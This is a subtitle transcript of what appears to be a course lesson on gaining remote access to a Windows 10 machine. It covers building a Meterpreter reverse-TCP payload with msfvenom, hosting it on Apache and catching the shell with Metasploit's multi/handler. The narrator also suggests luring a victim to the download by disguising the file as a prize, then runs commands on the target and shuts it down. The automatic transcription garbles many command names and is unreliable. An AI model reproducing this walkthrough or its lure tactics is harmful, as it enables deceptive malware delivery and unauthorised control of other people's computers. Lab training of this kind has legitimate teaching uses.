1
00:00:00,840 --> 00:00:08,460
In this lesson, we will see how we can gain remote access to our target system by using a payload right,

2
00:00:08,460 --> 00:00:11,040
which is created using Metasploit framework.

3
00:00:12,210 --> 00:00:19,590
So for this tactical, Kali is going to be our attacker machine and Windows ten is our target system.

4
00:00:19,860 --> 00:00:20,490
Right.

5
00:00:21,240 --> 00:00:26,790
So I have developed some steps for you to follow right now.

6
00:00:28,830 --> 00:00:31,530
The very first command is MSFT Venom.

7
00:00:31,530 --> 00:00:36,480
So MSFT Venom is going to help us in order to generate payloads.

8
00:00:36,750 --> 00:00:37,320
Right.

9
00:00:37,560 --> 00:00:42,420
So MSFT venom a first of all, let's do MSFT venom, hyphen edge.

10
00:00:42,660 --> 00:00:45,510
Hyphen edge is for health, right?

11
00:00:45,510 --> 00:00:52,260
So it's going to show all of the available options to be used with MSFT Venom Command.

12
00:00:54,630 --> 00:00:55,200
Right.

13
00:00:56,280 --> 00:00:57,060
Let's see.

14
00:00:57,330 --> 00:00:58,860
There are so many options.

15
00:01:00,030 --> 00:01:04,980
But the one which we are going to use is hyphen P, which stands for payload.

16
00:01:05,970 --> 00:01:07,200
So let's do that.

17
00:01:09,360 --> 00:01:12,050
MSF venom, hyphen B for payload.

18
00:01:12,060 --> 00:01:20,790
Then we are generating payload for windows and then interpreter and then reverse TCP.

19
00:01:21,330 --> 00:01:26,010
Right now we have to set l host that is localhost.

20
00:01:26,010 --> 00:01:28,350
So localhost is our cli

21
00:01:31,410 --> 00:01:31,980
and.

22
00:01:33,610 --> 00:01:37,180
Local court will be one, two, three, four.

23
00:01:38,320 --> 00:01:38,830
Right.

24
00:01:39,190 --> 00:01:41,470
And then we have to set format.

25
00:01:41,470 --> 00:01:42,820
So hyphen F and format.

26
00:01:43,600 --> 00:01:49,510
So it's going to be XY for Windows and then the name of the payload.

27
00:01:49,540 --> 00:01:51,190
Let's say jackpot.

28
00:01:53,680 --> 00:02:02,290
Hit enter and MSG is going to generate a Windows payload for us with the name Jackpot Dot XY.

29
00:02:04,270 --> 00:02:13,060
Right now we will generate payload and host it on our local machine right by using Apache Web server.

30
00:02:14,230 --> 00:02:20,320
Now, if you go to the internet and search for the that server, Apache Web server, then you will know

31
00:02:20,320 --> 00:02:27,670
that around 60% of the websites from all around the world are running on Apache Web server.

32
00:02:28,690 --> 00:02:34,860
Now, if you don't know how to configure Apache, then I have explained this in practical, in very

33
00:02:34,870 --> 00:02:39,450
detail in the second last section of this course, which is called as Linux for Beginners.

34
00:02:40,750 --> 00:02:50,130
Now let's copy our payload, which is jackpot to slash where double w, w and HTML.

35
00:02:50,170 --> 00:02:55,570
So this part is the default part for Apache Web server, right?

36
00:02:55,570 --> 00:03:00,430
So if you are going to host your website, then you have to use this folder that is HTML.

37
00:03:00,430 --> 00:03:02,980
You have to host your website under this folder.

38
00:03:03,760 --> 00:03:04,250
Right.

39
00:03:04,900 --> 00:03:06,130
So let's copy.

40
00:03:06,580 --> 00:03:07,150
Done.

41
00:03:07,960 --> 00:03:12,060
Now we have to start two services.

42
00:03:12,070 --> 00:03:16,180
The first is service PostgreSQL.

43
00:03:16,180 --> 00:03:19,210
That is your SQL start.

44
00:03:22,170 --> 00:03:26,910
Right now we have to start Apache Web server as well.

45
00:03:26,910 --> 00:03:30,300
So service Apache to start.

46
00:03:33,650 --> 00:03:34,090
Right.

47
00:03:34,100 --> 00:03:34,760
Done.

48
00:03:35,120 --> 00:03:37,820
Now let's start MSFT console.

49
00:03:37,820 --> 00:03:41,330
That is Metasploit framework console.

50
00:03:43,430 --> 00:03:44,210
So.

51
00:03:45,650 --> 00:03:52,640
The next command would be to use exploit right to use handler.

52
00:03:53,420 --> 00:03:54,800
So it's very important step.

53
00:03:54,800 --> 00:03:58,220
So we'll start with use exploit multi handler.

54
00:03:58,430 --> 00:04:05,210
Then we will go into a set payload for windows, then we will set the localhost, then local port and

55
00:04:05,210 --> 00:04:07,400
then we will use exploit feature.

56
00:04:09,320 --> 00:04:17,360
So this is how we are going to get remote access to our target PC Right now.

57
00:04:17,360 --> 00:04:19,940
Let's move back to Kali.

58
00:04:23,820 --> 00:04:26,940
It says starting the Metasploit framework console.

59
00:04:27,330 --> 00:04:29,100
So we have to wait for it.

60
00:04:31,690 --> 00:04:32,290
Done.

61
00:04:32,840 --> 00:04:33,090
Okay.

62
00:04:33,190 --> 00:04:48,550
So use exploit multi handler and then set payload for windows mid or greater.

63
00:04:50,470 --> 00:04:51,000
Okay.

64
00:04:51,160 --> 00:04:55,600
It's going to autocomplete because I recently pressed tab key.

65
00:04:57,160 --> 00:04:59,350
So we have to wait for this.

66
00:05:03,100 --> 00:05:04,020
Meter operator.

67
00:05:05,180 --> 00:05:05,680
Reverse.

68
00:05:06,880 --> 00:05:19,570
ECB done now set a low cost which is standards to point ten and then set L port which is one, two,

69
00:05:19,570 --> 00:05:20,290
three, four.

70
00:05:21,490 --> 00:05:22,020
Done.

71
00:05:22,600 --> 00:05:26,160
Now it's time to exploit, right?

72
00:05:28,480 --> 00:05:30,880
So show options, right?

73
00:05:33,050 --> 00:05:37,590
Show options to see all of the available options to be used here.

74
00:05:37,610 --> 00:05:38,090
Right.

75
00:05:38,090 --> 00:05:46,580
So it has mentioned that you have set local host and you already said local port done now exploit hyphen

76
00:05:46,580 --> 00:05:48,170
edge for help.

77
00:05:48,890 --> 00:05:51,260
And we are going to use two different options.

78
00:05:51,290 --> 00:05:57,860
One is hyphen j, which says run in the context of a job and then hyphen Z, which says do not interact

79
00:05:57,860 --> 00:06:00,320
with the station after a successful exploitation.

80
00:06:00,620 --> 00:06:01,160
Right?

81
00:06:01,910 --> 00:06:08,330
So exploit hyphen J, hyphen Z and let's move to our target PC.

82
00:06:09,740 --> 00:06:19,040
Now it's up to you how you show your creativity to force your target to go to the URL where we have

83
00:06:19,040 --> 00:06:23,750
uploaded the exploit or payload where we have loaded the payload.

84
00:06:23,870 --> 00:06:36,080
So suppose the target visits your website and somehow you manage to redirect him to the payload section,

85
00:06:36,080 --> 00:06:40,010
which would be jackpot dot xy.

86
00:06:40,010 --> 00:06:45,980
So ten .0.2. ten is your website address.

87
00:06:46,670 --> 00:06:54,230
Suppose this is your website address and then jackpot dot xy is the page which you want your target

88
00:06:54,230 --> 00:06:59,540
to visit in order to download the exploit.

89
00:06:59,570 --> 00:07:02,840
See as soon as your target reads to this page.

90
00:07:02,840 --> 00:07:06,470
The download has been started and asked for run the payload.

91
00:07:07,370 --> 00:07:18,020
Now your target would not know that this is a payload so you can change its name.

92
00:07:18,200 --> 00:07:22,040
Let's say you have won something or like that.

93
00:07:22,040 --> 00:07:24,320
Okay, lucky draw etc..

94
00:07:27,490 --> 00:07:32,770
Right now let's move to Cali and hit exploit.

95
00:07:34,930 --> 00:07:37,330
It says started reverse handler.

96
00:07:38,380 --> 00:07:44,950
Okay so let's see sessions have an eye it says no active session.

97
00:07:45,430 --> 00:07:47,460
So let's run exploit hyphens.

98
00:07:47,460 --> 00:07:49,180
They have an Z again.

99
00:07:52,270 --> 00:07:53,800
Explode failed because.

100
00:07:54,550 --> 00:07:57,250
Okay, one, two, three, four is already in use.

101
00:08:01,750 --> 00:08:04,090
So it automatically started this session.

102
00:08:04,090 --> 00:08:11,350
Again, that is Carly automatically closes the one, two, three, four port just to stop the previous

103
00:08:11,440 --> 00:08:12,250
services.

104
00:08:12,250 --> 00:08:14,230
And then it has started again.

105
00:08:14,320 --> 00:08:14,950
Right.

106
00:08:16,180 --> 00:08:18,250
So it says sending stage.

107
00:08:18,610 --> 00:08:20,500
So session one opened.

108
00:08:20,950 --> 00:08:21,730
That's good.

109
00:08:23,020 --> 00:08:28,150
Let's hit enter and let's see whether session started or not.

110
00:08:29,170 --> 00:08:30,880
Yes, the session has been started.

111
00:08:31,180 --> 00:08:31,750
Right.

112
00:08:32,560 --> 00:08:35,080
So let's use this session.

113
00:08:38,270 --> 00:08:39,080
Okay.

114
00:08:39,080 --> 00:08:44,690
So Sessions hyphen II and then the session number, which is one.

115
00:08:44,840 --> 00:08:48,410
So Sessions hyphen I and then one.

116
00:08:49,790 --> 00:08:54,530
Then now we are in our target system, shell.

117
00:08:54,890 --> 00:08:55,430
Right.

118
00:08:55,580 --> 00:08:58,520
If you want to verify, let's do pWt.

119
00:08:59,150 --> 00:09:05,900
See, we are in system 32 folder of C drive of our target system.

120
00:09:05,900 --> 00:09:06,530
Right.

121
00:09:06,560 --> 00:09:07,970
Let's do ls.

122
00:09:09,370 --> 00:09:13,060
So it will list out all of the directories and files out there.

123
00:09:13,510 --> 00:09:13,990
See?

124
00:09:16,300 --> 00:09:21,250
Now let's perform some more commands like f config.

125
00:09:22,300 --> 00:09:23,500
So let's do that.

126
00:09:24,430 --> 00:09:31,060
So if config it says ten .0.2.7.

127
00:09:31,420 --> 00:09:32,020
Good.

128
00:09:32,350 --> 00:09:36,820
Let's verify whether the information is correct or not.

129
00:09:39,050 --> 00:09:41,270
So let's open command from.

130
00:09:44,310 --> 00:09:47,340
And let's do IP config.

131
00:09:49,590 --> 00:09:50,610
Let's verify.

132
00:09:50,640 --> 00:09:52,530
See, here it is.

133
00:09:54,150 --> 00:09:56,580
So ten .0.2.7.

134
00:09:59,090 --> 00:09:59,960
That's good.

135
00:10:01,160 --> 00:10:06,870
Now we can also shut down our target, P.C..

136
00:10:06,890 --> 00:10:07,520
Right.

137
00:10:07,610 --> 00:10:09,080
So let's do that.

138
00:10:09,080 --> 00:10:13,190
So, power of eight enter unknown command.

139
00:10:13,220 --> 00:10:13,460
Right.

140
00:10:13,460 --> 00:10:13,730
Right.

141
00:10:13,730 --> 00:10:15,710
So we have to use shut down.

142
00:10:17,660 --> 00:10:17,930
Done.

143
00:10:18,470 --> 00:10:22,310
See, the window ten is going to power off.

144
00:10:22,400 --> 00:10:23,870
It's shutting down.

145
00:10:24,200 --> 00:10:24,800
Right.

146
00:10:25,040 --> 00:10:31,610
So this is how we can get remote access to our target system and do whatever we want to do.